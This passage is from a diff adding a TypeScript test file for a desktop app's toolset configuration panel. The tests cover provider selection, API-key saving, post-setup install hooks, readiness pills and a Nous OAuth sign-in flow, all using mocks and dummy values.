+  deleteEnvVar: (key: string) => deleteEnvVar(key),
+  revealEnvVar: (key: string) => revealEnvVar(key),
+  runToolsetPostSetup: (name: string, key: string) => runToolsetPostSetup(name, key),
+  getActionStatus: (name: string, lines?: number) => getActionStatus(name, lines),
+  startOAuthLogin: (providerId: string) => startOAuthLogin(providerId),
+  pollOAuthSession: (providerId: string, sessionId: string) => pollOAuthSession(providerId, sessionId),
+  getClawCodexConfigRecord: () => getClawCodexConfigRecord(),
+  getClawCodexConfigSchema: () => getClawCodexConfigSchema(),
+  saveClawCodexConfig: (config: unknown) => saveClawCodexConfig(config),
+  getElevenLabsVoices: () => getElevenLabsVoices()
+}))
+
+vi.mock('@/store/notifications', () => ({
+  notify: vi.fn(),
+  notifyError: vi.fn()
+}))
+
+vi.mock('@/store/activity', () => ({
+  upsertDesktopActionTask: vi.fn()
+}))
+
+function config(overrides: Partial<ToolsetConfig> = {}): ToolsetConfig {
+  return {
+    name: 'tts',
+    has_category: true,
+    active_provider: null,
+    providers: [
+      {
+        name: 'Microsoft Edge TTS',
+        badge: 'free',
+        tag: 'No API key needed',
+        env_vars: [],
+        post_setup: null,
+        requires_nous_auth: false,
+        is_active: false
+      },
+      {
+        name: 'ElevenLabs',
+        badge: 'paid',
+        tag: 'Most natural voices',
+        env_vars: [
+          { key: 'ELEVENLABS_API_KEY', prompt: 'ElevenLabs API key', url: 'https://x', default: null, is_set: false }
+        ],
+        post_setup: null,
+        requires_nous_auth: false,
+        is_active: false
+      }
+    ],
+    ...overrides
+  }
+}
+
+beforeEach(() => {
+  // Radix menus/selects call these on open; jsdom implements neither, so the
+  // dropdown never opens without the stubs (mirrors model-settings.test.tsx).
+  Element.prototype.scrollIntoView = vi.fn()
+  Element.prototype.hasPointerCapture = vi.fn(() => false)
+  Element.prototype.releasePointerCapture = vi.fn()
+  // cmdk (used by the free-input voice/model combobox) needs ResizeObserver,
+  // which jsdom doesn't ship (mirrors searchable-select.test.tsx).
+  vi.stubGlobal(
+    'ResizeObserver',
+    class {
+      observe() {}
+      unobserve() {}
+      disconnect() {}
+    }
+  )
+
+  getToolsetConfig.mockResolvedValue(config())
+  getToolsetModels.mockResolvedValue({
+    name: 'tts',
+    has_models: false,
+    models: [],
+    current: null,
+    default: null
+  })
+  selectToolsetModel.mockResolvedValue({ ok: true, name: 'image_gen', model: 'z-image-turbo' })
+  selectToolsetProvider.mockResolvedValue({ ok: true, name: 'tts', provider: 'ElevenLabs' })
+  setEnvVar.mockResolvedValue({ ok: true })
+  deleteEnvVar.mockResolvedValue({ ok: true })
+  getClawCodexConfigRecord.mockResolvedValue({
+    tts: {
+      provider: 'edge',
+      edge: { voice: 'en-US-AriaNeural' },
+      openai: { model: 'gpt-4o-mini-tts', voice: 'alloy' },
+      elevenlabs: { voice_id: 'pNInz6obpgDQGcFmaJgB', model_id: 'eleven_multilingual_v2' }
+    }
+  })
+  getClawCodexConfigSchema.mockResolvedValue({ fields: {}, category_order: [] })
+  saveClawCodexConfig.mockResolvedValue({ ok: true })
+  getElevenLabsVoices.mockResolvedValue({ available: false, voices: [] })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+describe('ToolsetConfigPanel', () => {
+  it('renders inline voice/model fields for a TTS provider row carrying tts_provider', async () => {
+    // The Capabilities gap: provider rows only showed API keys — voice/model
+    // settings lived exclusively in Settings → Voice. Rows now carry the
+    // backend's tts_provider key and the panel renders the same config
+    // fields inline (here: OpenAI TTS Model + OpenAI Voice).
+    getToolsetConfig.mockResolvedValue(
+      config({
+        active_provider: 'OpenAI TTS',
+        providers: [
+          {
+            name: 'OpenAI TTS',
+            badge: 'paid',
+            tag: 'High quality voices',
+            env_vars: [
+              { key: 'VOICE_TOOLS_OPENAI_KEY', prompt: 'OpenAI API key', url: 'https://x', default: null, is_set: true }
+            ],
+            post_setup: null,
+            requires_nous_auth: false,
+            is_active: true,
+            tts_provider: 'openai'
+          }
+        ]
+      })
+    )
+
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+    expect(await screen.findByText('OpenAI TTS Model')).toBeTruthy()
+    expect(screen.getByText('OpenAI Voice')).toBeTruthy()
+    // Voice/model names are free-input comboboxes seeded with the current
+    // config value — a custom voice ID must be typeable, not gated by a
+    // closed Select.
+    const voiceInput = screen.getByDisplayValue('alloy')
+    fireEvent.change(voiceInput, { target: { value: 'marin' } })
+    await waitFor(() => expect(saveClawCodexConfig).toHaveBeenCalled(), { timeout: 3000 })
+    const saved = saveClawCodexConfig.mock.calls.at(-1)?.[0] as Record<string, Record<string, Record<string, string>>>
+    expect(saved.tts.openai.voice).toBe('marin')
+  })
+
+  it('renders no inline voice fields for rows without tts_provider (older backend)', async () => {
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+    await screen.findByText('Microsoft Edge TTS')
+    expect(screen.queryByText('Edge Voice')).toBeNull()
+    expect(screen.queryByText('OpenAI Voice')).toBeNull()
+  })
+
+  it('lists providers from the config endpoint', async () => {
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+    expect(await screen.findByText('Microsoft Edge TTS')).toBeTruthy()
+    expect(screen.getByText('ElevenLabs')).toBeTruthy()
+    expect(getToolsetConfig).toHaveBeenCalledWith('tts')
+  })
+
+  it('expands a provider on row click and activates it via the explicit button', async () => {
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+    // Row click only expands — browsing details must not rewrite config.
+    const elevenlabs = await screen.findByRole('button', { name: /ElevenLabs/ })
+    fireEvent.click(elevenlabs)
+    expect(selectToolsetProvider).not.toHaveBeenCalled()
+
+    // The explicit activation button is what persists the backend choice.
+    fireEvent.click(await screen.findByRole('button', { name: /Use this backend/ }))
+
+    await waitFor(() => expect(selectToolsetProvider).toHaveBeenCalledWith('tts', 'ElevenLabs'))
+  })
+
+  it('serializes provider selection while a previous choice is pending', async () => {
+    let resolveSelection: (value: { name: string; ok: boolean; provider: string }) => void = () => undefined
+    selectToolsetProvider.mockImplementationOnce(
+      () =>
+        new Promise(resolve => {
+          resolveSelection = resolve
+        })
+    )
+
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+    // Edge auto-expands (first configured provider); activate it explicitly.
+    await screen.findByRole('button', { name: /Microsoft Edge TTS/ })
+    const useBackend = await screen.findByRole('button', { name: /Use this backend/ })
+    fireEvent.click(useBackend)
+
+    await waitFor(() => expect(selectToolsetProvider).toHaveBeenCalledWith('tts', 'Microsoft Edge TTS'))
+    // While the first selection is pending, the activation CTA is disabled —
+    // a second click must not fire another PUT.
+    expect(useBackend.hasAttribute('disabled')).toBe(true)
+    fireEvent.click(useBackend)
+    expect(selectToolsetProvider).toHaveBeenCalledTimes(1)
+
+    resolveSelection({ name: 'tts', ok: true, provider: 'Microsoft Edge TTS' })
+    // Edge is now the active backend — its expanded panel shows the active
+    // hint instead of the activation button.
+    await waitFor(() => expect(screen.getByText('This is your active backend')).toBeTruthy())
+  })
+
+  it('shows a backend model catalog for image_gen and persists a pick', async () => {
+    getToolsetConfig.mockResolvedValue(
+      config({
+        name: 'image_gen',
+        active_provider: 'FAL.ai',
+        providers: [
+          {
+            name: 'FAL.ai',
+            badge: 'paid',
+            tag: 'Multi-model image generation',
+            env_vars: [],
+            post_setup: null,
+            requires_nous_auth: false,
+            is_active: true
+          }
+        ]
+      })
+    )
+    getToolsetModels.mockResolvedValue({
+      name: 'image_gen',
+      has_models: true,
+      provider: 'FAL.ai',
+      plugin: 'fal',
+      models: [
+        { id: 'z-image-turbo', display: 'Z-Image Turbo', speed: 'fast', strengths: 'cheap drafts', price: '$0.005' },
+        { id: 'flux-2-pro', display: 'FLUX 2 Pro', speed: 'slow', strengths: 'quality', price: '$0.05' }
+      ],
+      current: 'z-image-turbo',
+      default: 'z-image-turbo'
+    })
+
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="image_gen" />)
+
+    // Both catalog rows render with their picker metadata.
+    expect(await screen.findByText('Z-Image Turbo')).toBeTruthy()
+    expect(screen.getByText('FLUX 2 Pro')).toBeTruthy()
+    expect(getToolsetModels).toHaveBeenCalledWith('image_gen', 'FAL.ai')
+
+    // Picking a different model persists via the model endpoint.
+    fireEvent.click(screen.getByRole('button', { name: /FLUX 2 Pro/ }))
+    await waitFor(() => expect(selectToolsetModel).toHaveBeenCalledWith('image_gen', 'flux-2-pro', 'FAL.ai'))
+  })
+
+  it('does not fetch model catalogs for toolsets without them', async () => {
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+    await screen.findByText('Microsoft Edge TTS')
+    expect(getToolsetModels).not.toHaveBeenCalled()
+  })
+
+  it('saves an API key for a provider env var', async () => {
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+    // Select the keyed provider so its env vars render.
+    const elevenlabs = await screen.findByRole('button', { name: /ElevenLabs/ })
+    fireEvent.click(elevenlabs)
+
+    // Open the credential actions menu (Radix opens on pointerdown), then "Set".
+    const trigger = await screen.findByRole('button', { name: /^Actions$/ })
+    fireEvent.pointerDown(trigger, { button: 0, ctrlKey: false, pointerType: 'mouse' })
+    fireEvent.click(await screen.findByRole('menuitem', { name: 'Set' }))
+
+    const input = await screen.findByPlaceholderText('ElevenLabs API key')
+    fireEvent.change(input, { target: { value: 'sk-test-123' } })
+    fireEvent.click(screen.getByRole('button', { name: 'Save' }))
+
+    await waitFor(() => expect(setEnvVar).toHaveBeenCalledWith('ELEVENLABS_API_KEY', 'sk-test-123'))
+  })
+
+  it('expands the active provider on load, not just the first configured one', async () => {
+    // ElevenLabs is the active provider per config, even though the keyless
+    // Edge TTS provider sorts first and is also "configured". The panel must
+    // honor is_active and expand ElevenLabs (so its API-key field renders)
+    // rather than defaulting to the first keyless provider. Regression test
+    // for the GUI showing the wrong provider selected after relaunch.
+    getToolsetConfig.mockResolvedValue(
+      config({
+        active_provider: 'ElevenLabs',
+        providers: [
+          {
+            name: 'Microsoft Edge TTS',
+            badge: 'free',
+            tag: 'No API key needed',
+            env_vars: [],
+            post_setup: null,
+            requires_nous_auth: false,
+            is_active: false
+          },
+          {
+            name: 'ElevenLabs',
+            badge: 'paid',
+            tag: 'Most natural voices',
+            env_vars: [
+              {
+                key: 'ELEVENLABS_API_KEY',
+                prompt: 'ElevenLabs API key',
+                url: 'https://x',
+                default: null,
+                is_set: true
+              }
+            ],
+            post_setup: null,
+            requires_nous_auth: false,
+            is_active: true
+          }
+        ]
+      })
+    )
+
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+    // The active provider's env-var field only renders when it's the expanded
+    // one — so finding it proves ElevenLabs (not Edge TTS) was auto-expanded.
+    expect(await screen.findByText('ELEVENLABS_API_KEY')).toBeTruthy()
+    // No provider selection was triggered — this is purely reflecting state.
+    expect(selectToolsetProvider).not.toHaveBeenCalled()
+  })
+
+  it('runs a provider post-setup install hook and tails its log', async () => {
+    // A browser-style toolset whose active provider declares a post_setup hook.
+    getToolsetConfig.mockResolvedValue(
+      config({
+        name: 'browser',
+        active_provider: 'Camofox',
+        providers: [
+          {
+            name: 'Camofox',
+            badge: 'local',
+            tag: 'Stealth local browser',
+            env_vars: [],
+            post_setup: 'camofox',
+            requires_nous_auth: false,
+            is_active: true
+          }
+        ]
+      })
+    )
+    runToolsetPostSetup.mockResolvedValue({ ok: true, pid: 4321, name: 'tools-post-setup', key: 'camofox' })
+    // First poll: still running; second poll: finished cleanly.
+    getActionStatus
+      .mockResolvedValueOnce({
+        exit_code: null,
+        lines: ['Installing Camofox browser server...'],
+        name: 'tools-post-setup',
+        pid: 4321,
+        running: true
+      })
+      .mockResolvedValue({
+        exit_code: 0,
+        lines: ['Installing Camofox browser server...', "Post-setup 'camofox' complete"],
+        name: 'tools-post-setup',
+        pid: 4321,
+        running: false
+      })
+
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="browser" />)
+
+    fireEvent.click(await screen.findByRole('button', { name: /Run setup/ }))
+
+    await waitFor(() => expect(runToolsetPostSetup).toHaveBeenCalledWith('browser', 'camofox'))
+    // The install log is tailed inline. The first poll fires after a 1200ms
+    // delay (mirrors command-center's poll cadence), so allow >1200ms here.
+    await waitFor(() => expect(getActionStatus).toHaveBeenCalledWith('tools-post-setup', 300), {
+      timeout: 4000
+    })
+  })
+
+  it('does not poll when the spawn endpoint reports ok:false', async () => {
+    getToolsetConfig.mockResolvedValue(
+      config({
+        name: 'browser',
+        active_provider: 'Camofox',
+        providers: [
+          {
+            name: 'Camofox',
+            badge: 'local',
+            tag: 'Stealth local browser',
+            env_vars: [],
+            post_setup: 'camofox',
+            requires_nous_auth: false,
+            is_active: true
+          }
+        ]
+      })
+    )
+    // Spawn failed server-side — must NOT proceed to poll a non-existent action.
+    runToolsetPostSetup.mockResolvedValue({ ok: false, pid: 0, name: 'tools-post-setup' })
+
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="browser" />)
+
+    fireEvent.click(await screen.findByRole('button', { name: /Run setup/ }))
+
+    await waitFor(() => expect(runToolsetPostSetup).toHaveBeenCalledWith('browser', 'camofox'))
+    // Give the would-be first poll delay (1200ms) time to NOT fire.
+    await new Promise(resolve => setTimeout(resolve, 1500))
+    expect(getActionStatus).not.toHaveBeenCalled()
+  })
+
+  it('surfaces a non-zero exit code from the setup process', async () => {
+    getToolsetConfig.mockResolvedValue(
+      config({
+        name: 'browser',
+        active_provider: 'Camofox',
+        providers: [
+          {
+            name: 'Camofox',
+            badge: 'local',
+            tag: 'Stealth local browser',
+            env_vars: [],
+            post_setup: 'camofox',
+            requires_nous_auth: false,
+            is_active: true
+          }
+        ]
+      })
+    )
+    runToolsetPostSetup.mockResolvedValue({ ok: true, pid: 4321, name: 'tools-post-setup', key: 'camofox' })
+    // Action finished but failed (non-zero exit).
+    getActionStatus.mockResolvedValue({
+      exit_code: 1,
+      lines: ['Installing...', 'npm ERR! install failed'],
+      name: 'tools-post-setup',
+      pid: 4321,
+      running: false
+    })
+
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="browser" />)
+
+    fireEvent.click(await screen.findByRole('button', { name: /Run setup/ }))
+
+    // The failing install log is still tailed and shown; exit_code:1 routes to
+    // the error notify branch (asserted via the poll completing on a non-zero
+    // status without throwing).
+    await waitFor(() => expect(getActionStatus).toHaveBeenCalledWith('tools-post-setup', 300), {
+      timeout: 4000
+    })
+    await waitFor(() => expect(screen.getByText(/npm ERR! install failed/)).toBeTruthy(), {
+      timeout: 4000
+    })
+  })
+
+  it('swaps the install hint for the installed one-liner when the provider is ready', async () => {
+    // Server says the post_setup install is already satisfied (status ready) —
+    // the "needs a one-time install" copy would contradict the Ready pill.
+    getToolsetConfig.mockResolvedValue(
+      config({
+        name: 'browser',
+        active_provider: 'Camofox',
+        providers: [
+          {
+            name: 'Camofox',
+            badge: 'local',
+            tag: 'Stealth local browser',
+            env_vars: [],
+            post_setup: 'camofox',
+            requires_nous_auth: false,
+            is_active: true,
+            status: 'ready'
+          }
+        ]
+      })
+    )
+
+    const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+    render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="browser" />)
+
+    // Installed confirmation replaces the contradictory install prompt…
+    expect(await screen.findByText(/Installed\. Re-run setup only if something is broken\./)).toBeTruthy()
+    expect(screen.queryByText(/needs a one-time install/)).toBeNull()
+    // …but a repair affordance stays available (c9's resting state renders
+    // the low-key Re-run setup button instead of the primary CTA).
+    expect(screen.getByRole('button', { name: /Re-run setup/ })).toBeTruthy()
+  })
+
+  describe('readiness pills', () => {
+    it('renders the server status instead of assuming keyless rows are Ready', async () => {
+      // The false-Ready bug: a logged-out Nous Subscription row and a
+      // never-installed local TTS both have zero env vars — the old client
+      // heuristic pilled every such row "Ready". The server now sends an
+      // honest per-provider status; the pill must follow it.
+      getToolsetConfig.mockResolvedValue(
+        config({
+          providers: [
+            {
+              name: 'Microsoft Edge TTS',
+              badge: 'free',
+              tag: 'No API key needed',
+              env_vars: [],
+              post_setup: null,
+              requires_nous_auth: false,
+              is_active: true,
+              status: 'ready'
+            },
+            {
+              name: 'Nous Subscription',
+              badge: 'subscription',
+              tag: 'Managed OpenAI TTS',
+              env_vars: [],
+              post_setup: null,
+              requires_nous_auth: true,
+              is_active: false,
+              status: 'needs_auth'
+            },
+            {
+              name: 'KittenTTS',
+              badge: 'local · free',
+              tag: 'Lightweight local ONNX TTS',
+              env_vars: [],
+              post_setup: 'kittentts',
+              requires_nous_auth: false,
+              is_active: false,
+              status: 'needs_setup'
+            }
+          ]
+        })
+      )
+
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+      await screen.findByText('Microsoft Edge TTS')
+      // Edge is the active backend — its row pill reads Active (which
+      // subsumes Ready); the other rows keep their warn pills.
+      expect(screen.getAllByText('Active')).toHaveLength(1)
+      expect(screen.queryByText('Ready')).toBeNull()
+      expect(screen.getByText('Needs sign-in')).toBeTruthy()
+      expect(screen.getByText('Setup required')).toBeTruthy()
+    })
+
+    it('shows no Ready pill for a keyed provider the server marks needs_keys', async () => {
+      getToolsetConfig.mockResolvedValue(
+        config({
+          providers: [
+            {
+              name: 'ElevenLabs',
+              badge: 'paid',
+              tag: 'Most natural voices',
+              env_vars: [
+                {
+                  key: 'ELEVENLABS_API_KEY',
+                  prompt: 'ElevenLabs API key',
+                  url: 'https://x',
+                  default: null,
+                  is_set: false
+                }
+              ],
+              post_setup: null,
+              requires_nous_auth: false,
+              is_active: false,
+              status: 'needs_keys'
+            }
+          ]
+        })
+      )
+
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+      await screen.findByText('ElevenLabs')
+      expect(screen.queryByText('Ready')).toBeNull()
+      // Missing keys are signalled by the env-var fields, not a warn pill.
+      expect(screen.queryByText('Needs sign-in')).toBeNull()
+      expect(screen.queryByText('Setup required')).toBeNull()
+    })
+
+    it('falls back to the env-var heuristic when the backend sends no status', async () => {
+      // Older backend (no `status` field): keyless rows keep the legacy
+      // Ready pill, keyed-and-unset rows keep no pill. Narrow compat path —
+      // desktop and backend update on separate clocks.
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+      await screen.findByText('Microsoft Edge TTS')
+      // Default config(): keyless Edge TTS (ready) + unset ElevenLabs (not).
+      expect(screen.getAllByText('Ready')).toHaveLength(1)
+      expect(screen.queryByText('Needs sign-in')).toBeNull()
+      expect(screen.queryByText('Setup required')).toBeNull()
+    })
+
+    it('flips a needs_keys provider to Ready locally after its key is saved', async () => {
+      getToolsetConfig.mockResolvedValue(
+        config({
+          active_provider: null,
+          providers: [
+            {
+              name: 'ElevenLabs',
+              badge: 'paid',
+              tag: 'Most natural voices',
+              env_vars: [
+                {
+                  key: 'ELEVENLABS_API_KEY',
+                  prompt: 'ElevenLabs API key',
+                  url: 'https://x',
+                  default: null,
+                  is_set: false
+                }
+              ],
+              post_setup: null,
+              requires_nous_auth: false,
+              is_active: false,
+              status: 'needs_keys'
+            }
+          ]
+        })
+      )
+
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+      expect(await screen.findByText('ELEVENLABS_API_KEY')).toBeTruthy()
+      expect(screen.queryByText('Ready')).toBeNull()
+
+      // Save a key: the pill must go Ready from the local envState patch even
+      // though the (now stale) server status still says needs_keys.
+      const trigger = await screen.findByRole('button', { name: /^Actions$/ })
+      fireEvent.pointerDown(trigger, { button: 0, ctrlKey: false, pointerType: 'mouse' })
+      fireEvent.click(await screen.findByRole('menuitem', { name: 'Set' }))
+      fireEvent.change(await screen.findByPlaceholderText('ElevenLabs API key'), { target: { value: 'sk-live' } })
+      fireEvent.click(screen.getByRole('button', { name: 'Save' }))
+
+      await waitFor(() => expect(screen.getByText('Ready')).toBeTruthy())
+    })
+  })
+
+  describe('post-setup installed state', () => {
+    it('renders Installed + Re-run setup instead of the primary CTA when the server says ready', async () => {
+      // Regression (Windows 11 Capabilities journey): "Run setup" rendered
+      // unconditionally, so an already-installed backend still showed the
+      // primary install CTA and clicking it re-ran the whole npm/Chromium
+      // install. status === 'ready' must flip to a resting Installed state.
+      getToolsetConfig.mockResolvedValue(
+        config({
+          name: 'browser',
+          active_provider: 'Local Browser',
+          providers: [
+            {
+              name: 'Local Browser',
+              badge: 'free',
+              tag: 'Headless Chromium, no API key needed',
+              env_vars: [],
+              post_setup: 'agent_browser',
+              requires_nous_auth: false,
+              is_active: true,
+              status: 'ready'
+            }
+          ]
+        })
+      )
+
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="browser" />)
+
+      await screen.findByText('Local Browser')
+      expect(await screen.findByText('Installed')).toBeTruthy()
+      expect(await screen.findByRole('button', { name: /Re-run setup/ })).toBeTruthy()
+      expect(screen.queryByRole('button', { name: /^Run setup$/ })).toBeNull()
+    })
+
+    it('still runs the hook from the Re-run setup affordance', async () => {
+      getToolsetConfig.mockResolvedValue(
+        config({
+          name: 'browser',
+          active_provider: 'Local Browser',
+          providers: [
+            {
+              name: 'Local Browser',
+              badge: 'free',
+              tag: 'Headless Chromium, no API key needed',
+              env_vars: [],
+              post_setup: 'agent_browser',
+              requires_nous_auth: false,
+              is_active: true,
+              status: 'ready'
+            }
+          ]
+        })
+      )
+      runToolsetPostSetup.mockResolvedValue({ ok: true, pid: 4321, name: 'tools-post-setup', key: 'agent_browser' })
+      getActionStatus.mockResolvedValue({
+        exit_code: 0,
+        lines: ['agent-browser already installed, nothing to do'],
+        name: 'tools-post-setup',
+        pid: 4321,
+        running: false
+      })
+
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="browser" />)
+
+      fireEvent.click(await screen.findByRole('button', { name: /Re-run setup/ }))
+
+      await waitFor(() => expect(runToolsetPostSetup).toHaveBeenCalledWith('browser', 'agent_browser'))
+    })
+
+    it('keeps the primary Run setup CTA when the server says needs_setup', async () => {
+      getToolsetConfig.mockResolvedValue(
+        config({
+          name: 'browser',
+          active_provider: 'Local Browser',
+          providers: [
+            {
+              name: 'Local Browser',
+              badge: 'free',
+              tag: 'Headless Chromium, no API key needed',
+              env_vars: [],
+              post_setup: 'agent_browser',
+              requires_nous_auth: false,
+              is_active: true,
+              status: 'needs_setup'
+            }
+          ]
+        })
+      )
+
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="browser" />)
+
+      await screen.findByText('Local Browser')
+      // The Run setup CTA renders inside the expanded panel, which appears one
+      // effect-driven re-render after the row itself — await it (getByRole
+      // raced the auto-expand effect and flaked under the RQ provider).
+      expect(await screen.findByRole('button', { name: /Run setup/ })).toBeTruthy()
+      expect(screen.queryByText('Installed')).toBeNull()
+    })
+  })
+
+  describe('managed Nous provider activation', () => {
+    const nousBrowserConfig = () =>
+      config({
+        name: 'browser',
+        active_provider: null,
+        providers: [
+          {
+            name: 'Nous Subscription (Browser Use cloud)',
+            badge: 'subscription',
+            tag: 'Managed Browser Use billed to your subscription',
+            env_vars: [],
+            post_setup: 'agent_browser',
+            requires_nous_auth: true,
+            is_active: false,
+            status: 'needs_auth'
+          }
+        ]
+      })
+
+    it('surfaces a sign-in notice when the PUT reports needs_nous_auth', async () => {
+      // Regression (Windows 11 Capabilities journey): the GUI wrote
+      // browser.cloud_provider but skipped the Portal entitlement handshake,
+      // so the managed row silently never activated. The endpoint now
+      // reports needs_nous_auth and the panel must surface a sign-in action
+      // instead of the misleading "provider selected" success toast.
+      const { notify } = await import('@/store/notifications')
+
+      getToolsetConfig.mockResolvedValue(nousBrowserConfig())
+      selectToolsetProvider.mockResolvedValue({
+        ok: true,
+        name: 'browser',
+        provider: 'Nous Subscription (Browser Use cloud)',
+        needs_nous_auth: true,
+        feature: 'browser'
+      })
+
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="browser" />)
+
+      // The single Nous row auto-expands; activate via the explicit button.
+      await screen.findByRole('button', { name: /Nous Subscription/ })
+      fireEvent.click(await screen.findByRole('button', { name: /Use this backend/ }))
+
+      await waitFor(() =>
+        expect(selectToolsetProvider).toHaveBeenCalledWith('browser', 'Nous Subscription (Browser Use cloud)')
+      )
+      await waitFor(() =>
+        expect(notify).toHaveBeenCalledWith(
+          expect.objectContaining({
+            kind: 'warning',
+            action: expect.objectContaining({ label: expect.any(String) })
+          })
+        )
+      )
+      // No success toast — the row is not active yet.
+      expect(notify).not.toHaveBeenCalledWith(expect.objectContaining({ kind: 'success' }))
+    })
+
+    it('drives the existing Nous OAuth device-code flow from the sign-in action and refetches', async () => {
+      const { notify } = await import('@/store/notifications')
+
+      getToolsetConfig.mockResolvedValue(nousBrowserConfig())
+      selectToolsetProvider.mockResolvedValue({
+        ok: true,
+        name: 'browser',
+        provider: 'Nous Subscription (Browser Use cloud)',
+        needs_nous_auth: true,
+        feature: 'browser'
+      })
+      startOAuthLogin.mockResolvedValue({
+        flow: 'device_code',
+        session_id: 'sess-1',
+        user_code: 'NOUS-1234',
+        verification_url: 'https://portal.invalid/device?user_code=NOUS-1234',
+        poll_interval: 5,
+        expires_in: 600
+      })
+      pollOAuthSession.mockResolvedValue({ session_id: 'sess-1', status: 'approved' })
+      const openSpy = vi.spyOn(window, 'open').mockReturnValue(null)
+
+      try {
+        const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+        render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="browser" />)
+
+        await screen.findByRole('button', { name: /Nous Subscription/ })
+        fireEvent.click(await screen.findByRole('button', { name: /Use this backend/ }))
+
+        // Grab the sign-in action off the warning notification and invoke it —
+        // this is the affordance the toast renders as a button.
+        await waitFor(() => expect(notify).toHaveBeenCalledWith(expect.objectContaining({ kind: 'warning' })))
+
+        const warning = vi
+          .mocked(notify)
+          .mock.calls.map(call => call[0])
+          .find(input => input.kind === 'warning')
+
+        expect(warning?.action).toBeTruthy()
+        getToolsetConfig.mockClear()
+        warning!.action!.onClick()
+
+        await waitFor(() => expect(startOAuthLogin).toHaveBeenCalledWith('nous'))
+        expect(openSpy).toHaveBeenCalledWith(
+          'https://portal.invalid/device?user_code=NOUS-1234',
+          '_blank',
+          'noopener,noreferrer'
+        )
+        // Approved poll → the panel refetches the config so status flips.
+        await waitFor(() => expect(pollOAuthSession).toHaveBeenCalledWith('nous', 'sess-1'), { timeout: 8000 })
+        await waitFor(() => expect(getToolsetConfig).toHaveBeenCalled(), { timeout: 8000 })
+      } finally {
+        openSpy.mockRestore()
+      }
+    }, 20000)
+
+    it('shows the plain success toast when the managed row is already entitled', async () => {
+      const { notify } = await import('@/store/notifications')
+
+      getToolsetConfig.mockResolvedValue(nousBrowserConfig())
+      selectToolsetProvider.mockResolvedValue({
+        ok: true,
+        name: 'browser',
+        provider: 'Nous Subscription (Browser Use cloud)'
+      })
+
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="browser" />)
+
+      await screen.findByRole('button', { name: /Nous Subscription/ })
+      fireEvent.click(await screen.findByRole('button', { name: /Use this backend/ }))
+
+      await waitFor(() => expect(notify).toHaveBeenCalledWith(expect.objectContaining({ kind: 'success' })))
+      expect(startOAuthLogin).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('API key deep link', () => {
+    it('offers "Manage in API Keys" on a set key and navigates to Settings → Keys', async () => {
+      getToolsetConfig.mockResolvedValue(
+        config({
+          active_provider: 'ElevenLabs',
+          providers: [
+            {
+              name: 'ElevenLabs',
+              badge: 'paid',
+              tag: 'Most natural voices',
+              env_vars: [
+                {
+                  key: 'ELEVENLABS_API_KEY',
+                  prompt: 'ElevenLabs API key',
+                  url: 'https://x',
+                  default: null,
+                  is_set: true
+                }
+              ],
+              post_setup: null,
+              requires_nous_auth: false,
+              is_active: true,
+              status: 'ready'
+            }
+          ]
+        })
+      )
+
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+      const trigger = await screen.findByRole('button', { name: /^Actions$/ })
+      fireEvent.pointerDown(trigger, { button: 0, ctrlKey: false, pointerType: 'mouse' })
+      fireEvent.click(await screen.findByRole('menuitem', { name: 'Manage in API Keys' }))
+
